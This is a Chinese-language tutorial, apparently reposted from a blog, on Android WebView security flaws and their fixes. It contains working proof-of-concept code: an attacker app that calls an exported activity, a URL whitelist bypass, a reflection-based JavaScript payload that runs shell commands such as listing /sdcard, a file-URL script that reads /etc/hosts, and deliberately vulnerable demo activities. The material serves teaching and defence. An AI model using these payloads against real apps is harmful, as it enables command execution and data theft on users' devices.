前言
WebView 是 Android 系统中的原生控件,它是一个基于 webkit 引擎、展现 web 页面的控件,相当于增强版的内置浏览器。现在很多 App 里都内置了 Web 网页(Hybrid App),比如说很多电商平台,淘宝、京东、聚划算等等。Webview 的广泛使用也就导致了其成为攻击者关注的对象,本文将学习、讨论下 Webview 远程代码执行漏洞、跨域访问漏洞及其它攻击面。
WebView基础
WebView 控件功能强大,除了具有一般 View 的属性和设置外,还可以对 url 请求、页面加载、渲染、页面交互进行强大的处理。
极简Demo程序
在 App 工程 com.bwshen.test 中新建 WebviewTestActivity :
public class WebviewTestActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("https://www.baidu.com");
}
}
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<WebView
android:id="@+id/web_view"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</LinearLayout>
注意 AndroidMainfest.xml 需要申请访问网络的权限:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
JS调用Android
在上面 App 的工程 assets 文件夹下新建 javascript.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Carson</title>
<script>
function callAndroid(){
//由于对象映射,所以调用test对象等于调用Android映射的对象
test.hello("Tr0e!");
}
</script>
</head>
<body>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>
public class WebviewTestActivity extends AppCompatActivity {
private static String TAG = "WebviewTestActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
//加载asset文件夹下html
webView.loadUrl("file:///android_asset/javascript.html");
}
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs {
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public void hello(String msg) {
Log.e(TAG,"Hello," + msg);
}
}
}
加载远程HTML
以上是加载了本地的 html 页面,下面来做个有趣的测试,App 加载远程 html 页面并调用 Android App 提供的接口(即上文 AndroidtoJs 类的 hello 函数)。
首先在本地 PC 临时目录下创建 attack.html(页面内容同上文的 javascripts.html),然后本地起一个简易的 Python HttpServer:
然后简单修改 App 的 WebviewTestActivity,“远程”加载上述 attack.html 页面:
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
// webView.loadUrl("file:///android_asset/javascript.html");
webView.loadUrl("http://192.168.0.110:8080/attack.html");
运行程序,看看效果:
远程 Web Server 也成功收到访问请求:
关于 WebView 组件与 JS 之间的其他用法,请参见 Android:你要的WebView与 JS 交互方式 都在这里了,本文不再展开。
接口攻击场景
以上 WebView 组件的使用看着一切正常,接下来来看下 WebView 对外暴露的接口可能存在的风险,以及攻击者可能的攻击手段。
漏洞示例程序
修改下 com.bwshen.test 应用的 WebviewTestActivity:
public class WebviewTestActivity extends AppCompatActivity {
private static String TAG = "WebviewTestActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
Uri getUri = getIntent().getData();
webView.loadUrl(String.valueOf(getUri));
}
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs {
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public String getPassword() {
return "admin123";
}
}
}
在 AndroidMainfest.xml 中声明组件对外导出:
<activity android:name=".webview.WebviewTestActivity"
android:exported="true">
</activity>
本地攻击程序
在攻击程序 com.bwshen.attack 中编写如下攻击代码:
Button2.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent attackIntent = new Intent();
attackIntent.setClassName("com.bwshen.test","com.bwshen.test.webview.WebviewTestActivity");
attackIntent.setData(Uri.parse("http://192.168.0.110:8080/attack.html"));
startActivity(attackIntent);
}
});
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>WebView Atack</title>
<script>
function callAndroid(){
//由于对象映射,所以调用test对象等于调用Android映射的对象
var password = test.getPassword();
document.getElementById("getdata").innerHTML= password;
}
</script>
</head>
<body>
<p id="getdata">攻击获得的数据将显示在此……</p>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>
页面效果如下:
运行攻击程序,效果如下:
点击按钮,成功通过 JS 调用受害者 App 的敏感接口 getPassword 获得敏感数据:
以上是 Local 本地攻击,可以借助 Deeplink 技术完全转换成远程攻击,参见Android 应用层组件安全测试基础实战技巧。
url白名单校验
综上可以看出,对于 WebView 组件,如果无脑调用 webView.loadUrl(uri)
加载外部可控的 URI,将导致 App 遭受外部攻击的风险。所以在加载外部传入的 URI 之前,应该进行白名单校验,对恶意、非法 URI 进行拦截。
但是需要注意的是,URI 白名单校验的方式经常存在被绕过的风险,比如以下代码:
protected void onCreate(Bundle savedInstanceState) {
……
Uri getUri = getIntent().getData();
String inputUrl = String.valueOf(getUri);
if (checkDomain(inputUrl)){
webView.loadUrl(inputUrl);
}
}
private static boolean checkDomain(String inputUrl)
{
String[] whiteList=new String[]{"site1.com","site2.com"};
for (String whiteDomain:whiteList)
{
if (inputUrl.indexOf(whiteDomain)>0)
return true;
}
return false;
}
绕过方法:这个校验逻辑错误比较低级,攻击者直接输入 http://www.hacker.com/poc.html?site1.com
就可以绕过了。因为 URL 中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个 URL 是不安全的。虽然直接用 indexOf
来判断用户输入的 URL 是否在域名白名单内这种错误看上去比较 low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。
上面介绍的是最简单的一种 URL 白名单校验及其绕过方式,更多校验方式及绕过方法请参见:一文彻底搞懂安卓WebView白名单校验,本文不再展开。
代码执行漏洞
从上面的案例可以看到,JS 调用 Android 的其中一个方式是通过 addJavascriptInterface
接口进行对象映射:
//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");
而在 Android API 16 以及之前的版本,Webview 组件存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface
方法,远程攻击者可通过使用 Java Reflection API 利用该漏洞执行任意 Java 对象的方法,包括系统类(java.lang.Runtime
类),从而进行任意代码执行,如可以执行命令获取本地设备的 SD 卡中的文件等信息从而造成信息泄露。
触发点 | CVE编号 | 影响范围 |
---|---|---|
WebView 中 addJavascriptInterface 接口 | CVE-2012-6336 | Android <= 4.1.2 (API level 16) |
WebView 内置导出的 searchBoxJavaBridge_对象 | CVE-2014-1939 | Android <= 4.3.1 |
WebView 内置导出的 accessibility 和 accessibilityTraversalObject 对象 | CVE-2014-7224 | Android < 4.4 |
本文只讨论第一种—— addJavascriptInterface 接口,简单的说就是通过 addJavascriptInterface 给 WebView 加入一个 JavaScript 桥接接口,JavaScript 通过调用这个接口在低版本的 Android 上可以直接无限制地随意操作本地的 JAVA 接口。
漏洞触发前提
- 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象;
- 使用 WebView 加载外部网页或者本地网页;
- Android 系统版本低于 4.2(Android API level 小于17)。
- Android 中的对象有一公共的方法:getClass() ;
- 该方法可以获取到当前类的类型 Class;
- 该类有一关键的方法: Class.forName;
- 该方法可以加载一个类(可加载 java.lang.Runtime 类);
- 而该类是可以执行本地命令的。
JAVA反射机制
JAVA 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制。
反射,从这个“反”字可以看出与我们平时正常的使用逻辑肯定不一样,那么到底什么地方不一样了?想要了解“反”,就得先了解一下“正”的概念。在正常情况下,如果要使用一个类,必须要经过以下几个步骤:
- 使用 import 导入类所在的包(类:java.lang.Class);
- 通过关键字 new 进行类对象实例化(构造方法:java.lang.reflect.Constructor);
- 产生对象可以使用“对象.属性”进行类中属性的调用(属性:java.lang.reflect.Field);
- 通过“对象.方法()”调用类中的方法(方法:java.lang.reflect.Method)。
括号中的补充字体对应的是每个步骤对应反射中使用到的类,在反射中使用一个类并不需要导入类的所在包,只要知道类的完整路径就可以知道该类中的所有信息。关于 Java 反射机制的理解,请参见 Java-反射机制,本文也不展开。
package com.Tr0e.test;
import java.lang.reflect.Method;
class Student {
private String name;
public String getName() {
return name;
}
private void setName(String name) {
this.name = name;
}
}
public class ReflectInvokeDemo {
public static void main(String[] args) throws Exception {
//获取Student类的Class对象
Class<?> cls = Class.forName("com.Tr0e.test.Student");
System.out.println("Class = " + cls.getName());
//反射获取Student类的函数数组
Method[] methods = cls.getDeclaredMethods();
for (Method method:methods){
System.out.println("method = " + method.getName());
}
// 实例化对象
Object obj = cls.newInstance();
//调用Student类的私有函数setName()方法,相当于Student对象.setName("Tr0e");
methods[1].setAccessible(true);
methods[1].invoke(obj, "Tr0e");
//调用getName()方法并输出
System.out.println("Hello," + methods[0].invoke(obj));
}
}
程序运行结果如下所示:
Next,来看看如何借助上面的 Java 反射实现命令执行:
public class ReflectInvokeDemo {
public static void main(String[] args) throws Exception {
//获取Student类的Class对象
Class<?> cls = Class.forName("com.Tr0e.test.Student");
System.out.println("Class = " + cls.getName());
//反射获取Student类的函数数组
Method[] methods = cls.getDeclaredMethods();
for (Method method:methods){
System.out.println("method = " + method.getName());
}
try{
Class c = cls.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
//第一个参数为类的实例,第二个参数为相应函数中的参数
Object obj = m.invoke(null,null);
Class c2 = obj.getClass();
String array = "cmd.exe /k start calc";
//获得该类中名称为exec,参数类型为String的方法
Method n = c2.getMethod("exec", array.getClass());
//调用方法n
n.invoke(obj, new Object[]{array});
}catch (Throwable e){
System.out.println(e.toString());
}
}
}
程序运行结果,可以看到成功借助反射机制执行命令运行了本地计算器:
有了以上的基础,我们知道,拿到 JAVA 对象之后,可以获取类对象,然后通过反射调用任意对象的任意方法。而在我们前面的 WebView 漏洞代码中,由于访问的页面是不可控的,所以在访问危险页面时,如果页面中的 js包含危险调用,如:
function execute(cmd){
//jsObject是导出的Object
return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
在 JS 中获得了 Webview 中导出的 Object,只要通过上述代码就可以进行反射并 RCE。早期的 Android 版本没有对可以访问的方法作限制,这就是该漏洞的根本成因。
历史漏洞POC
在检测某个 apk 是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的 js 遍历其 windows 对象然后判定 getClass 函数是否存在即可。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>WebView漏洞检测--捉虫猎手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
提示:如何检测出“accessibility”和 “accessibilityTraversal”接口----设置-辅助功能-开启系统或第三方辅助服务<br><br>
<b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</font></b>
</p>
<script type="text/javascript">
function check()
{
//遍历window对象,的是为了找到包含getClass()的对象
//因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>
<script type="text/javascript">
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
</script>
让 app 访问该页面,结果如下:
漏洞修复方案
1、使用 API Level 高于 16 的 Android 系统
出于安全考虑,为了防止 Java 层的函数被随便调用,Google 在 4.2 版本之后,规定允许被调用的函数必须以 @JavascriptInterface
进行注解,所以如果某应用依赖的 API Level 为 17 或者以上,就不会受该问题的影响(注: Android 4.2 中 API Level 小于 17 的应用也会受影响。Google 官方文档使用示例如下:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
【Question】 既然 API Level 高于 16 的 Android 系统上已限制了 Java 层函数的调用,那是否可以随意给 Java 层函数添加 @JavascriptInterface
?
答案那自然是不行的……从第一部分的 Webview 示例代码中已经可以看出,如果 Webview 对外导出且加载从外部传递进来的 URL,攻击者完全可以传递恶意的 HTML 页面来调用受害者 App 供 JS 调用的 Java 接口函数(添加了@JavascriptInterface
注解的函数),如果这部分函数包含敏感功能、数据,那么就相当于开闸放水了……
2、 API Level 小于 17 的 Android 系统
建议不要使用 addJavascriptInterface
接口,以免带来不必要的安全隐患,如果一定要使用 addJavascriptInterface 接口:
- 如果使用 HTTPS 协议加载 URL,应进行证书校验防止访问的页面被篡改挂马;
- 如果使用 HTTP 协议加载 URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
- 如果加载本地 Html,应将 html 文件内置在 APK 中,以及进行对 html 页面完整性的校验。
跨域访问漏洞
2018 年国家信息安全漏洞共享平台(CNVD)发布关于Android平台 WebView 控件存在跨域访问高危漏洞的安全公告 (CNVD-2017-36682)。
漏洞产生的原因是在 Android 应用中,WebView 开启了 file 域访问,且允许 file 域对 http 域进行访问,同时未对 file 域的路径进行严格限制所致。攻击者通过 URL Scheme 的方式,可远程打开并加载恶意 HTML 文件,远程获取 APP 中包括用户登录凭证在内的所有本地敏感数据。
漏洞触发前提
- WebView 中
setAllowFileAccessFromFileURLs
或setAllowUniversalAccessFromFileURLsAPI
配置为 true(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false); - WebView 可以直接被外部调用,并能够加载外部可控的 HTML 文件。
漏洞影响使用 WebView 控件,开启 file 域访问并且未按安全策略开发的 Android 应用APP。CNVD 对相关漏洞综合评级为“高危”。
漏洞相关函数
WebView 中 getSettings 类的以下几个方法会对 WebView 安全性产生影响:
方法 | 作用/风险 | 默认策略 |
---|---|---|
setAllowFileAccess(true); | 设置是否允许 WebView 使用 File 协议 | 默认设置为 true |
setAllowFileAccessFromFileURLs(true); | 设置是否允许通过 file url 加载的 Js 代码读取其他的本地文件 | 在 Android 4.1 后默认禁止 |
setAllowUniversalAccessFromFileURLs(true); | 设置是否允许通过 file url 加载的 Javascript 可以访问其他的源 (包括http、https等源) | 在 Android 4.1 后默认禁止 |
setJavaScriptEnabled(true); | 设置是否允许 WebView 使用 JavaScript | 默认不允许 |
File 协议风险
来看看设置 setAllowFileAccess(true) 存在的风险。
public class WebviewTestActivity extends AppCompatActivity {
private static String TAG = "WebviewTestActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
//设置是否允许 WebView 使用 File 协议
webView.getSettings().setAllowFileAccess(true);
//设置是否允许 WebView 使用 JavaScript
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///data/local/tmp/adbapp.html");
}
}
<script>
function loadXMLDoc()
{
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
运行程序,报错如下(has been blocked by CORS policy):
2022-06-03 07:41:28.568 12969-12969/com.bwshen.test I/chromium: [INFO:CONSOLE(19)] "Access to XMLHttpRequest at 'file:///etc/hosts' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.", source: file:///data/local/tmp/dbapp.html (19)
2022-06-03 07:41:28.568 12969-12969/com.bwshen.test I/chromium: [INFO:CONSOLE(15)] "", source: file:///data/local/tmp/dbapp.html (15)
//设置是否允许通过 file url 加载的 Js 代码读取其他的本地文件
webView.getSettings().setAllowFileAccessFromFileURLs(true);
重新运行程序,已成功加载本地 html 文件并读取 /etc/hosts
文件:
通用协议风险
用同样的方式测试 setAllowUniversalAccessFromFileURLs 的值,当 setAllowUniversalAccessFromFileURLs 的值为 true 时,可以利用 js 来访问恶意网站(HTTP 或 HTTPS)的链接。
将 dbapp.html 文件改成访问 https://www.freebuf.com:
运行程序,效果如下图:
如果不设置 setAllowUniversalAccessFromFileURLs 的值为 true,则无法正常加载 HTTPS 页面:
漏洞防御策略
- 检查应用是否使用了 webview 控件;
- 避免 App 内部的 WebView 被不信任的第三方调用,排查内置 WebView 的 Activity 是否被导出、必须导出的 Activity 是否会通过参数传递调起内置的WebView等;
- file 域访问为非功能需求时,手动配置 setAllowFileAccessFromFileURLs 或 setAllowUniversalAccessFromFileURLs 两个 API 为 false(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false);
若需要开启 file 域访问,则设置 file 路径的白名单,严格控制 file 域的访问范围,具体如下:
- 固定不变的 HTML 文件可以放在 assets 或 res 目录下,
file:///android_asset
和file:///android_res
在不开启 API 的情况下也可以访问; - 可能会更新的 HTML 文件放在
/data/data/(app)
目录下,避免被第三方替换或修改; - 对 file 域请求做白名单限制时,需要对“
…/…/
”特殊情况进行处理,避免白名单被绕过。
1)对于不需要使用 file 协议的应用,禁用 file 协议:
// 禁用 file 协议;
setAllowFileAccess(false);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
2)对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript:
// 需要使用 file 协议时
setAllowFileAccess(true);
// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
总结
本文大体总结了 Android WebView 的历史高危漏洞及其当下的攻击面(接口非法访问),更多的攻击面可以参见——WebView组件安全。开发人员在使用 WebView 时应做好组件权限控制(尽量设置不可导出)、 URL 白名单校验、禁止危险协议等。
本文参考文章:
- 深入浅出JSBridge:从原理到使用;
- Android:你要的WebView与JS交互方式都在这里了;
- Android:你不知道的 WebView 使用漏洞;
- WebView远程代码执行漏洞学习并复现;
- Fiddler插件编写之WebView远程代码执行检测;
原文地址:https://blog.csdn.net/weixin_39190897/article/details/125107626
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_12785.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!